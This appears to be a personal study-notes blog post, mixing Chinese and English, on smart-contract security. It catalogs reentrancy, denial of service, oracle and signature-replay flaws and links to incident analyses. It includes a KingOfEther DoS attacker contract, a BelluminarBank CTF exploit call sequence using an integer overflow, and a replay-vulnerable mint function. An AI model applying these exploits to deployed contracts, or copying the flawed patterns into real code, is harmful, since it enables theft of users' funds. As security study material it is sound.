j– title: “contract security” date: 2022-08-23T00:28:00+08:00 weight: 70 keywords: [] tags: [“solidity”] categories: [“blockchain”] author: “Clay” draft: false
contract security
合约安全分为两个部分,一部分是漏洞原理分类,另一部分是实际发生的攻击事件。(合约安全竞赛)
合约事故
Reentrancy
DOS
smart contract 拒绝服务攻击一般由code logic errors, compatibility issues, or excessive call depth引起
pragma solidity ^0.8.13; contract KingOfEther { address public king; uint public balance; function claimThrone() external payable { require(msg.value > balance, "Need to pay more to become the king"); (bool sent, ) = king.call{value: balance}(""); require(sent, "Failed to send Ether"); balance = msg.value; king = msg.sender; } } # attacker contract pragma solidity ^0.8.13; contract Attack { KingOfEther kingOfEther; constructor(KingOfEther _kingOfEther) { kingOfEther = KingOfEther(_kingOfEther); } function attack() public payable { kingOfEther.claimThrone{value: msg.value}(); } }
Oracle
Tender Finance
Oracle返回price的小数点错误,导致tGMX价格大幅上升
Phinishing
可升级合约漏洞-Web3音乐平台Audius被黑事件分析: https://learnblockchain.cn/article/4441
Fortress攻击事件分析: https://www.anquanke.com/post/id/273207
OP攻击事件: https://m.freebuf.com/articles/blockchain-articles/335918.html
Discover闪电贷攻击事件: https://m.freebuf.com/articles/blockchain-articles/335565.html
Transit Swap合约分析: https://rekt.news/transit-swap-rekt/
WCTF
BelluminarBank: https://learnblockchain.cn/article/1989
BelluminarBank.deploy("123456", 1, {'from':accounts[0], 'value':10}) BelluminarBank[0].invest(1, "0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1ecc80", {'from':accounts[1], 'value': 1}) BelluminarBank[0].invest(2, 0, {'from':accounts[1], 'value': 0}) BelluminarBank[0].confiscate(1, "123456", {'from':accounts[1]})
- 整数溢出漏洞
- private误区
- Storage Pointer: 函数声明的临时变量"指针"默认存储位置slot位置都为0, 所以临时变量的位置和全局变量重叠
- selfdestruct(addr)调整合约addr余额
The_Association_Sales: https://cn.etherscan.com/address/0xdd5a649fc076886dfd4b9ad6acfc9b5eb882e83c#code
数字签名重放:
- 普通重放: 将本该使用一次的签名多次使用。NBA官方发布的
系列NFT因为这类攻击被免费铸造了上万枚 - 跨链重放: 将本该在一条链上使用的签名,在另一条链上重复使用。做市商Wintermute因为跨链重放攻击被盗2000万枚OP
function mint_approved( vData memory info, uint256 number_of_items_requested, uint16 _batchNumber ) external { require(batchNumber == _batchNumber, "!batch"); address from = msg.sender; require(verify(info), "Unauthorised access secret"); _discountedClaimedPerWallet[msg.sender] += 1; require( _discountedClaimedPerWallet[msg.sender] <= 1, "Number exceeds max discounted per address" ); presold[from] = 1; _mintCards(number_of_items_requested, from); emit batchWhitelistMint(_batchNumber, msg.sender); } # dusty.sol:100
op重放事件分析: https://learnblockchain.cn/article/4214
- 普通重放: 将本该使用一次的签名多次使用。NBA官方发布的